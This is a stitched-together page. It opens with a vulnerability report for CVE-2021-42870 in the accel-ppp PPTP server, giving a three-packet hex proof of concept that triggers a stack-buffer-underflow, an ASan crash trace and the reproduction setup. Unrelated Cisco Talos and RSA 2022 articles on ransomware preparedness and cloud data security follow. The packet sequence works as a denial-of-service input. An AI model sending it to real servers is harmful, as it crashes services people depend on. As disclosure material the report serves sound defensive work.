Sending PPTP Call Clear Request Packet after PPTP Start Control Connection Request and PPTP Outgoing Call Request to server can cause stack-buffer-underflow.

**PoC**

Here is the detailed information of sent packets:

*   Packet 1

    hexstream:
    009c00011a2b3c4d00010000010000000000000300000003ffff00016c6f63616c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000063616e616e69616e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    
    packet structure:
    ###[ PPTP Start Control Connection Request ]### 
      len       = 156
      type      = Control Message
      magic_cookie= 0x1a2b3c4d
      ctrl_msg_type= Start-Control-Connection-Request
      reserved_0= 0x0
      protocol_version= 256
      reserved_1= 0x0
      framing_capabilities= Asynchronous Framing supported+Synchronous Framing supported
      bearer_capabilities= Analog access supported+Digital access supported
      maximum_channels= 65535
      firmware_revision= 1
      host_name = 'local'
      vendor_string= 'cananian'
    

*   Packet 2

    hexstream:
    00a800011a2b3c4d00070000e60c00000000096000989680000000030000000300030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    
    packet structure:
    ###[ PPTP Outgoing Call Request ]### 
      len       = 168
      type      = Control Message
      magic_cookie= 0x1a2b3c4d
      ctrl_msg_type= Outgoing-Call-Request
      reserved_0= 0x0
      call_id   = 58892
      call_serial_number= 0
      minimum_bps= 2400
      maximum_bps= 10000000
      bearer_type= Any type of channel
      framing_type= Any type of framing
      pkt_window_size= 3
      pkt_proc_delay= 0
      phone_number_len= 0
      reserved_1= 0x0
      phone_number= ''
      subaddress= ''
    

*   Packet 3

    hexstream:
    001000011a2b3c4d000c0000e60c0000
    
    packet structure:
    ###[ PPTP Call Clear Request ]### 
      len       = 16
      type      = Control Message
      magic_cookie= 0x1a2b3c4d
      ctrl_msg_type= Call-Clear-Request
      reserved_0= 0x0
      call_id   = 58892
      reserved_1= 0x0
    

**Hint: the call_id field is randomly generated thus directly forwarding those three packets might not reproduce the scene. To reproduce it, it's neccessary to construct similar packets.**

**Crash report**

log of server:

    [2021-10-18 13:23:01.445] accel-ppp version 1.12.0-149-gff91c73
    [2021-10-18 13:23:01.477] pptp: iprange module disabled, improper IP configuration of PPP interfaces may cause kernel soft lockup
    [2021-10-18 13:23:01.479] l2tp: iprange module disabled, improper IP configuration of PPP interfaces may cause kernel soft lockup
    [2021-10-18 13:23:01.516] pptp: new connection from 127.0.0.1
    [2021-10-18 13:23:01.517] : : recv [PPTP Start-Ctrl-Conn-Request <Version 1> <Framing 3> <Bearer 3> <Max-Chan 65535>]
    [2021-10-18 13:23:01.517] : : send [PPTP Start-Ctrl-Conn-Reply <Version 1> <Result 1> <Error 0> <Framing 3> <Bearer 3> <Max-Chan 1>]
    [2021-10-18 13:23:02.516] : : recv [PPTP Outgoing-Call-Request <Call-ID e60c> <Call-Serial 0> <Min-BPS 2400> <Max-BPS 10000000> <Bearer 3> <Framing 3> <Window-Size 3> <Delay 0>]
    [2021-10-18 13:23:02.517] : : send [PPTP Outgoing-Call-Reply <Call-ID 615> <Peer-Call-ID e60c> <Result 1> <Error 0> <Cause 0> <Speed 10000000> <Window-Size 3> <Delay 0> <Channel 0>]
    [2021-10-18 13:23:02.517] : : lcp_layer_init
    [2021-10-18 13:23:02.517] : : auth_layer_init
    [2021-10-18 13:23:02.517] : : ccp_layer_init
    [2021-10-18 13:23:02.517] : : ipcp_layer_init
    [2021-10-18 13:23:02.517] : : ipv6cp_layer_init
    [2021-10-18 13:23:02.517] : : ppp establishing
    [2021-10-18 13:23:02.518] : 78a9b1ca73684d70: lcp_layer_start
    [2021-10-18 13:23:02.518] : 78a9b1ca73684d70: send [LCP ConfReq id=71 <auth MSCHAP-v2> <mru 1400> <magic 465aee3b>]
    [2021-10-18 13:23:03.495] terminate, sig = 15
    [2021-10-18 13:23:03.495] : 78a9b1ca73684d70: terminate
    [2021-10-18 13:23:03.495] : 78a9b1ca73684d70: lcp_layer_finish
    [2021-10-18 13:23:03.496] : 78a9b1ca73684d70: pptp: ppp finished
    [2021-10-18 13:23:03.496] : 78a9b1ca73684d70: send [PPTP Call-Disconnect-Notify <Call-ID ce6> <Result 3> <Error 0> <Cause 0>]
    [2021-10-18 13:23:03.496] : 78a9b1ca73684d70: send [PPTP Stop-Ctrl-Conn-Request <Reason 0>]
    [2021-10-18 13:23:03.521] : 78a9b1ca73684d70: lcp_layer_free
    [2021-10-18 13:23:03.521] : 78a9b1ca73684d70: auth_layer_free
    [2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ccp_layer_free
    [2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ipcp_layer_free
    [2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ipv6cp_layer_free
    [2021-10-18 13:23:03.521] : 78a9b1ca73684d70: recv [PPTP Call-Clear-Request <Call-ID e60c>]
    [2021-10-18 13:23:03.521] : 78a9b1ca73684d70: send [PPTP Call-Disconnect-Notify <Call-ID ce6> <Result 4> <Error 0> <Cause 0>]
    

Here is the asan report:

    ==2434668==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7f785e8afe1f at pc 0x000000499d97 bp 0x7f7862ed07c0 sp 0x7f7862ecff88
    READ of size 149 at 0x7f785e8afe1f thread T7
        #0 0x499d96 in __asan_memcpy /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
        #1 0x7f786b3e5d1f in post_msg /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:150:3
        #2 0x7f786b3e6a19 in send_pptp_call_disconnect_notify /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:385:9
        #3 0x7f786b3e13bd in pptp_call_clear_rqst /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:404:9
        #4 0x7f786b3e13bd in process_packet /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:478:11
        #5 0x7f786b3e13bd in pptp_read /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:527:9
        #6 0x7f78714c81c1 in ctx_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:252:10
        #7 0x7f78714c81c1 in triton_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:192:5
        #8 0x7f7871485608 in start_thread /build/glibc-eX1tMB/glibc-2.31/nptl/pthread_create.c:477:8
        #9 0x7f7870e5e292 in clone /build/glibc-eX1tMB/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95
    
    Address 0x7f785e8afe1f is located in stack of thread T7 at offset 31 in frame
        #0 0x7f786b3e666f in send_pptp_call_disconnect_notify /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:373
    
      This frame has 1 object(s):
        [32, 180) 'msg' (line 374) <== Memory access at offset 31 partially underflows this variable
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    Thread T7 created by T0 here:
        #0 0x484d4c in pthread_create /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:205:3
        #1 0x7f78714c6eee in create_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:320:9
        #2 0x7f78714cdc17 in triton_run /root/projects/accel-ppp/accel-pppd/triton/triton.c:744:7
        #3 0x559603 in main /root/projects/accel-ppp/accel-pppd/main.c:415:2
        #4 0x7f7870d630b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    
    SUMMARY: AddressSanitizer: stack-buffer-underflow /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 in __asan_memcpy
    Shadow bytes around the buggy address:
      0x0fef8bd0df70: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
      0x0fef8bd0df80: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
      0x0fef8bd0df90: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
      0x0fef8bd0dfa0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
      0x0fef8bd0dfb0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
    =>0x0fef8bd0dfc0: f1 f1 f1[f1]00 00 00 00 00 00 00 00 00 00 00 00
      0x0fef8bd0dfd0: 00 00 00 00 00 00 04 f3 f3 f3 f3 f3 f3 f3 f3 f3
      0x0fef8bd0dfe0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
      0x0fef8bd0dff0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
      0x0fef8bd0e000: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
      0x0fef8bd0e010: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==2434668==ABORTING
    

**Reproduce info**

Build access-ppp:

mkdir build && cd build
cmake -DCMAKE\_C\_COMPILER=clang -DCMAKE\_CXX\_COMPILER=clang++ -DCMAKE\_C\_FLAGS="\-fsanitize=address -g" -DCMAKE\_CXX\_FLAGS="\-fsanitize=address -g" -DBUILD\_DRIVER=false -DCMAKE\_INSTALL\_PREFIX=/usr/local -DCMAKE\_BUILD\_TYPE=Debug -DLOG\_PGSQL=TRUE -DSHAPER=TRUE -DRADIUS=TRUE -DNETSNMP=TRUE ..
CC=clang CXX=clang++ CFLAGS="\-fsanitize=address -g" CXXFLAGS="\-fsanitize=address -g" make -j
make install

Run access-pppd, use the following command:

accel-pppd -c /etc/accel-ppp.conf

The running configuration /etc/accel-ppp.conf is:

    [modules]
     log_file
     #log_syslog
     #log_tcp
     #log_pgsql
     
     pptp
     l2tp
     #sstp
     #pppoe
     #ipoe
     
     auth_mschap_v2
     auth_mschap_v1
     auth_chap_md5
     auth_pap
     
     #radius
     chap-secrets
     
     ippool
     
     pppd_compat
     
     #shaper
     #net-snmp
     #logwtmp
     #connlimit
     
     #ipv6_nd
     #ipv6_dhcp
     #ipv6pool
     
     [core]
     log-error=/var/log/accel-ppp/core.log
     thread-count=4
     
     [common]
     #single-session=replace
     #single-session-ignore-case=0
     #sid-case=upper
     #sid-source=seq
     #max-sessions=1000
     #max-starting=0
     #check-ip=0
     
     [ppp]
     verbose=1
     min-mtu=1280
     mtu=1400
     mru=1400
     #accomp=deny
     #pcomp=deny
     #ccp=0
     #mppe=require
     ipv4=require
     ipv6=deny
     ipv6-intf-id=0:0:0:1
     ipv6-peer-intf-id=0:0:0:2
     ipv6-accept-peer-intf-id=1
     lcp-echo-interval=20
     #lcp-echo-failure=3
     lcp-echo-timeout=120
     unit-cache=1
     #unit-preallocate=1
     
     [auth]
     #any-login=0
     #noauth=0
     
     [pptp]
     verbose=1
     #echo-interval=30
     ip-pool=pool1
     #ipv6-pool=pptp
     #ipv6-pool-delegate=pptp
     ifname=pptp%d
     #port=9300
     #mppe=prefer
     
     [pppoe]
     verbose=1
     #ac-name=xxx
     #service-name=yyy
     #pado-delay=0
     #pado-delay=0,100:100,200:200,-1:500
     called-sid=mac
     #tr101=1
     #padi-limit=0
     #ip-pool=pppoe
     #ipv6-pool=pppoe
     #ipv6-pool-delegate=pppoe
     #ifname=pppoe%d
     #sid-uppercase=0
     #vlan-mon=eth0,10-200
     #vlan-timeout=60
     #vlan-name=%I.%N
     #interface=eth1,padi-limit=1000
     interface=ens18
     
     [l2tp]
     verbose=1
     #dictionary=/usr/local/share/accel-ppp/l2tp/dictionary
     #hello-interval=60
     #timeout=60
     #rtimeout=1
     #rtimeout-cap=16
     #retransmit=5
     #recv-window=16
     #host-name=accel-ppp
     #dir300_quirk=0
     #secret=
     #dataseq=allow
     #reorder-timeout=0
     #ip-pool=l2tp
     #ipv6-pool=l2tp
     #ipv6-pool-delegate=l2tp
     #ifname=l2tp%d
     
     [sstp]
     verbose=1
     #cert-hash-proto=sha1,sha256
     #cert-hash-sha1=
     #cert-hash-sha256=
     #accept=ssl,proxy
     #ssl-protocol=tls1,tls1.1,tls1.2,tls1.3
     #ssl-dhparam=/etc/ssl/dhparam.pem
     #ssl-ecdh-curve=prime256v1
     #ssl-ciphers=DEFAULT
     #ssl-prefer-server-ciphers=0
     #ssl-ca-file=/etc/ssl/sstp-ca.crt
     #ssl-pemfile=/etc/ssl/sstp-cert.pem
     #ssl-keyfile=/etc/ssl/sstp-key.pem
     #host-name=domain.tld
     #http-error=allow
     #timeout=60
     #hello-interval=60
     #ip-pool=sstp
     #ipv6-pool=sstp
     #ipv6-pool-delegate=sstp
     #ifname=sstp%d
     
     [ipoe]
     verbose=1
     username=ifname
     #password=username
     lease-time=600
     #renew-time=300
     #rebind-time=525
     max-lease-time=3600
     #unit-cache=1000
     #l4-redirect-table=4
     #l4-redirect-ipset=l4
     #l4-redirect-on-reject=300
     #l4-redirect-ip-pool=pool1
     shared=0
     ifcfg=1
     mode=L2
     start=dhcpv4
     #start=up
     #ip-unnumbered=1
     #proxy-arp=0
     #nat=0
     #proto=100
     #relay=10.10.10.10
     #vendor=Custom
     #weight=0
     #attr-dhcp-client-ip=DHCP-Client-IP-Address
     #attr-dhcp-router-ip=DHCP-Router-IP-Address
     #attr-dhcp-mask=DHCP-Mask
     #attr-dhcp-lease-time=DHCP-Lease-Time
     #attr-dhcp-renew-time=DHCP-Renewal-Time
     #attr-dhcp-rebind-time=DHCP-Rebinding-Time
     #attr-dhcp-opt82=DHCP-Option82
     #attr-dhcp-opt82-remote-id=DHCP-Agent-Remote-Id
     #attr-dhcp-opt82-circuit-id=DHCP-Agent-Circuit-Id
     #attr-l4-redirect=L4-Redirect
     #attr-l4-redirect-table=4
     #attr-l4-redirect-ipset=l4-redirect
     #lua-file=/etc/accel-ppp.lua
     #offer-delay=0,100:100,200:200,-1:1000
     #vlan-mon=eth0,10-200
     #vlan-timeout=60
     #vlan-name=%I.%N
     #ip-pool=ipoe
     #ipv6-pool=ipoe
     #ipv6-pool-delegate=ipoe
     #idle-timeout=0
     #session-timeout=0
     #soft-terminate=0
     #check-mac-change=1
     #calling-sid=mac
     #local-net=192.168.0.0/16
     interface=eth0
     
     [dns]
     #dns1=172.16.0.1
     #dns2=172.16.1.1
     
     [wins]
     #wins1=172.16.0.1
     #wins2=172.16.1.1
     
     [radius]
     #dictionary=/usr/local/share/accel-ppp/radius/dictionary
     nas-identifier=accel-ppp
     nas-ip-address=127.0.0.1
     gw-ip-address=192.168.100.1
     server=127.0.0.1,testing123,auth-port=1812,acct-port=1813,req-limit=50,fail-timeout=0,max-fail=10,weight=1
     dae-server=127.0.0.1:3799,testing123
     verbose=1
     #timeout=3
     #max-try=3
     #acct-timeout=120
     #acct-delay-time=0
     #acct-on=0
     #acct-interim-interval=0
     #acct-interim-jitter=0
     #default-realm=
     #strip-realm=0
     #attr-tunnel-type=My-Tunnel-Type
     
     [client-ip-range]
     0.0.0.0/0
     
     [ip-pool]
     gw-ip-address=192.168.0.1
     #vendor=Cisco
     #attr=Cisco-AVPair
     attr=Framed-Pool
     192.168.0.2-255
     192.168.1.1-255,name=pool1
     192.168.2.1-255,name=pool2
     192.168.3.1-255,name=pool3
     192.168.4.1-255,name=pool4,next=pool1
     192.168.4.0/24
     
     [log]
     log-file=/var/log/accel-ppp/accel-ppp.log
     log-emerg=/var/log/accel-ppp/emerg.log
     log-fail-file=/var/log/accel-ppp/auth-fail.log
     log-debug=/dev/stdout
     syslog=accel-pppd,daemon
     #log-tcp=127.0.0.1:3000
     copy=1
     color=1
     #per-user-dir=per_user
     #per-session-dir=per_session
     #per-session=1
     level=5
     
     [log-pgsql]
     conninfo=user=log
     log-table=log
     
     [pppd-compat]
     verbose=1
     #ip-pre-up=/etc/ppp/ip-pre-up
     ip-up=/etc/ppp/ip-up
     ip-down=/etc/ppp/ip-down
     #ip-change=/etc/ppp/ip-change
     radattr-prefix=/var/run/radattr
     #fork-limit=16
     
     [chap-secrets]
     gw-ip-address=192.168.100.1
     chap-secrets=/etc/ppp/chap-secrets.ppp
     #encrypted=0
     #username-hash=md5
     
     [shaper]
     #attr=Filter-Id
     #down-burst-factor=0.1
     #up-burst-factor=1.0
     #latency=50
     #mpu=0
     #mtu=0
     #r2q=10
     #quantum=1500
     #moderate-quantum=1
     #cburst=1534
     #ifb=ifb0
     up-limiter=police
     down-limiter=tbf
     #leaf-qdisc=sfq perturb 10
     #leaf-qdisc=fq_codel [limit PACKETS] [flows NUMBER] [target TIME] [interval TIME] [quantum BYTES] [[no]ecn]
     #rate-multiplier=1
     #fwmark=1
     #rate-limit=2048/1024
     verbose=1
     
     [cli]
     verbose=1
     telnet=127.0.0.1:2000
     tcp=127.0.0.1:2001
     #password=123
     #sessions-columns=ifname,username,ip,ip6,ip6-dp,type,state,uptime,uptime-raw,calling-sid,called-sid,sid,comp,rx-bytes,tx-bytes,rx-bytes-raw,tx-bytes-raw,rx-pkts,tx-pkts
     
     [snmp]
     master=0
     agent-name=accel-ppp
     
     [connlimit]
     limit=10/min
     burst=3
     timeout=60
     
     [ipv6-pool]
     #gw-ip6-address=fc00:0:1::1
     #vendor=
     #attr-prefix=Delegated-IPv6-Prefix-Pool
     #attr-address=Stateful-IPv6-Address-Pool
     fc00:0:1::/48,64
     fc00:0:2::/48,64,name=pool1
     fc00:0:3::/48,64,name=pool2,next=pool1
     delegate=fc00:1::/36,48
     delegate=fc00:2::/36,48,name=pool3
     delegate=fc00:3::/36,48,name=pool4,next=pool3
     
     [ipv6-dns]
     #fc00:1::1
     #fc00:1::2
     #fc00:1::3
     #dnssl=suffix1.local.net
     #dnssl=suffix2.local.net.
     
     [ipv6-dhcp]
     verbose=1
     pref-lifetime=604800
     valid-lifetime=2592000
     route-via-gw=1
    

use chap-secrets and the /etc/ppp/chap-secrets.ppp is as follows:

    # Secrets for authentication using CHAP
    # client	server	secret			IP addresses
    fouzhe * 123 *

CVE-2021-42870: Abnormal packet sequence can cause stack-buffer-underflow · Issue #158 · xebd/accel-ppp

By Nate Pors.
Top executives are increasingly dreading the phone call from their fellow employees notifying them that their company has been hit by a cyber attack. Nearly every week in 2021 and early 2022, a prominent organization has been in the media spotlight as their public relations team...


[[ This is only the beginning! Please visit the blog for the complete entry ]]

_By Nate Pors._

Top executives are increasingly dreading the phone call from their fellow employees notifying them that their company has been hit by a cyber attack. Nearly every week in 2021 and early 2022, a prominent organization has been in the media spotlight as their public relations team struggles to explain how they were attacked and how they can regain consumer confidence. A recent survey showed that 37 percent of organizations surveyed had been affected by ransomware attacks in the last year.

Worse, the days when executive leadership teams could fully delegate responsibility to a CISO are over. Regardless of reality, surveys have shown that about 40 percent of the public perception of fault for a ransomware attack land squarely on the CEO’s shoulders, and that 36 percent of attacks result in the loss of C-level talent. While executive involvement in the security program does not guarantee a successful defense, it does give the Executive Leadership Team (ELT) a degree of ownership of the final product, as well as the ability to speak confidently and knowledgeably to the public. 

Cisco Talos Incident Response (CTIR) has assisted hundreds of organizations through recent ransomware incidents and executive tabletop exercises and compiled the following observations for how top executives can best prepare and evaluate their teams.

**When, not if**

Many teams center their plans around the prevention of the initial attack, not the response, after an adversary successfully gains a foothold. A ransomware attack is always a multi-stage process, and it is up to members of the ELT to set a strategy that slows and frustrates the adversary during an attack. Those aspects of planning should focus on quick response, tested containment techniques, and eradication. Some examples of questions you should ask might be:

*   Does your team have Standard Operating Procedures for and regularly practice containment “battle drills” such as quickly changing all privileged account passwords throughout the entire enterprise? 
*   Do they have ways to quickly isolate a compromised network segment to preserve the integrity of the rest of the network? 
*   Is your team working toward zero-trust architecture? 
*   Does your team know where your critical data resides and is it encrypted at rest? 
*   Do they know what your business-critical services are, and what technical dependencies they have? 
*   Are your backups redundant and protected from casual access by a compromised administrator account? 
*   The answers to these tough questions can be the difference between success and failure when facing an impending ransomware attack.

  
**Teamwork makes the dream work**

It’s hard to build an effective cross-disciplinary team in the heat of the moment. Almost every CISO delegates responsibility for coordinating immediate actions in a cybersecurity emergency to a trusted subordinate often called an “incident commander” or “CIRT lead.” When your incident commander builds the ransomware “war room,” do they have an at-a-glance roster to ensure the right people are included? Since your time as an executive is very limited, how do you want to be updated, and does the incident commander and/or CISO understand that requirement? Is legal embedded into your organization’s incident command structure?

Your top performers will often push themselves beyond the point of exhaustion during a major incident and make mistakes as a result. Do you have trusted individuals holding each other and their teams accountable to set a proper tempo? Generally speaking, incident responders can only perform at peak mental efficiency for about 10 - 12 hours per day, so that figure can be used to structure a good rotation. Does your team have an effective rest plan with redundancy built-in for key roles in case of personal life emergencies? CTIR has observed that top-tier security operations centers (SOCs) structure their emergency personnel planning similarly to personnel planning for military operations, in the sense that every person has one or two designated backups fully trained to perform their role.

Similarly, CTIR has observed that top-tier SOCs coordinate seamlessly with third parties. While we are honored to be the first call for many of our customers in case of an emergency, the most successful responses also often involve specialized support from third-party security software/hardware providers as well. Does your incident response team have those relationships already established and have well-documented procedures for getting their support?

**Can you hear me now?**

One of the most common questions we hear during tabletop exercises is: “How can we prepare for ransomware communications?” In terms of internal communication, it is critical to define what communication system will be used to send notifications. Is it capable of reaching and rallying the team after hours? Assuming the worst-case scenario where the entire corporate network is offline, do you have a truly out-of-band (OOB) communication method? Referring to the military planning model, it is no accident that even the lowest-level operations orders define primary, secondary, and tertiary methods of communication.

Time matters for external communications. We have observed that attacks on high-profile organizations generally appear in the media within 24 hours. Do your communications and PR teams have pre-built templates they can use for initial public notifications of an incident? Writing them now will save time and ensure that key details are not overlooked during a crisis. What are the key points needed to take control of the news cycle early? What is the approval chain — does the CEO need to personally review it, or can it be released at the direction of the head of corporate communications? 

A thoughtful CEO might want to establish circumstances under which direct review is required, such as in the case of confirmed sensitive data compromise, but give corporate communications the authority to publish notifications without CEO review under all other circumstances. If you have a customer-facing team like customer care or help desk, is there a canned message they can provide that keeps everyone calm while ensuring that sensitive information is not shared? In all cases, legal counsel should be consulted and work in partnership with corporate communications.

**Negotiating with attackers**

Are you willing to set a hardline policy that your organization will never pay a ransom under any circumstances? No data exists to say whether a publicized statement to that effect decreases the likelihood of being targeted, but CTIR has observed the inverse effect. Organizations that set a precedent for making ransom payments are heavily targeted since they are perceived as a guaranteed payday by adversaries. In fact, a recent survey showed that 80 percent of organizations that paid a ransom were reattacked shortly afterward.

If you cannot set the hardline policy of non-payment, many secondary considerations are important, including the legality of the payment if an OFAC-sanctioned entity is involved. Do you have your legal counsel, cyber insurer, and possibly a professional ransomware negotiation firm you can contact quickly? As always, consult with your legal counsel.

CTIR never recommends that victims of ransomware never pay the extortion payment, since it is impossible to guarantee the return or decryption of the targeted data. However, we have helped customers draft ransomware payment decision trees to guide them through the decision qualitatively or quantitatively, ensuring that they are making a well-reasoned decision while under extreme pressure. The Ransomware Task Force, an elite team on which CTIR was proud to represent Cisco, recently recommended requiring a cost-benefit analysis before payment. 

**Advice to any CEO for preparing a ransomware preparedness plan**

*   The executive leadership team can and should be closely involved with the development of the anti-ransomware plan.
*   Attempted ransomware attacks are almost inevitable for the average organization today, but proper post-breach actions can allow excellent damage mitigation.
*   Team structure and good communications plans matter just as much as strong cybersecurity tools and configuration.

Ransom payment considerations are complex and there is no “one-size-fits-all” answer, but in most cases, paying a ransom leads to increased targeting in the future.

Ransomware: How executives should prepare given the current threat landscape

Three RSA 2022 sessions take deep dives into the security considerations around data cloud transformation.

For the past decade — and more so during the past three years — cybersecurity has become an epicenter of two equally transformative revolutions taking place at once: the cloud revolution and the data revolution. The true impact of these transformations on the cybersecurity industry and on business as we know it has yet to fully manifest itself, which makes them timely and urgent topics for deep discussion and consideration. The theme of 2022's RSA Conference, which takes place June 6–9 in San Francisco and online, captures these and other trends. In this article, I share recommendations for three RSA 2022 sessions that will provide a deep dive into the world of data cloud security.

**1\.** **How to Protect Healthcare Data in the Cloud  
**The cloud revolution is hardly new: More than 94% of global organizations use cloud platforms, and more than 76% leverage multicloud services such as Google Cloud, AWS, and Microsoft Azure to increase business velocity and efficiency. Meanwhile, data has always been a business driver, regarded as the "crown jewels" of customer-facing business.

As organizations accumulate more and more data — a large portion of it sensitive, proprietary, and personal — there can be a natural reluctance to trust emerging cloud technologies with these valuable assets. With new technology come new risks known to both security professionals and malicious actors, including misconfigurations and unauthorized access leading to exposure or destruction. The sheer number of cloud technologies and interested parties, combined with the dynamic nature of data in the cloud, presents an overwhelming challenge for security teams. Instead of restricting innovation, there must be a way to harness it and ensure its security simultaneously. Hear more about how this is done in healthcare, one of the most sensitive and highly regulated sectors, at this RSA 2022 session taking place June 7.

**2\.** **Data Inventory Workshop  
**Overwhelmed with the amount of data and adoption of new technologies, some security teams opt to restrict the use of certain cloud platforms — even if that means, for example, using spreadsheets for tasks such as inventorying and tracking data. The goal may be to gain more control, but the result is inhibited innovation and stunted organizational growth. Furthermore, as organizations strive to scale and evolve, such restrictions may turn the CISO into an obstruction in the eyes of business leaders within the organization. The data revolution demands a complete overhaul of the way organizations inventory and manage their data. Hear more about how to navigate regulations and business processes while championing innovative data inventory technology at this RSA session taking place June 7.

**3\.** **DLP: An Implementation Story  
**Multicloud environments have become a business necessity for modern organizations, increasing their efficiency and allowing them to scale more rapidly. As data leaves organizational networks and flows into the cloud, it is no longer centralized, and its use can no longer be accurately predicted by security teams. In the age of remote work and growing risk, data loss prevention (DLP) must adapt to ensure that security is granular and able to monitor all data uses and locations. Hear more about the challenges of implementing a modern DLP program and how to overcome them at this RSA 2022 session taking place June 8.

**Conclusion  
**Data transformation will increase in scale and impact across organizations, as development and business teams leverage and create cloud data stores faster than security teams can keep up — and often without their knowledge. We anticipate that, moving forward, this transformation will be the source of innovation and disruption. Click here for more on the 2022 RSA Conference and information about all of the sessions.

Data Transformation: 3 Sessions to Attend at RSA 2022

Cisco Talos and Cisco Secure are launching a new video series to fill you in on the latest cybersecurity trends. We’re thrilled to launch our first video in the new Talos Threat Update series, which you can watch above or over at this link, where Martin Lee and Hazel Burton talk about wiper...


[[ This is only the beginning! Please visit the blog for the complete entry ]]

Cisco Talos and Cisco Secure are launching a new video series to fill you in on the latest cybersecurity trends. We’re thrilled to launch our first video in the new Talos Threat Update series, which you can watch above or over at this link, where Martin Lee and Hazel Burton talk about wiper malware  — what is it, why is it important and how you can prepare your organization against it. 

While this series is primarily focused on the European region, the advice and topics covered each month apply to users everywhere.  

In each video, Hazel Burton dives into important security topics with Cisco Secure researchers, asking the tough questions and giving straight answers.

Tag

#cisco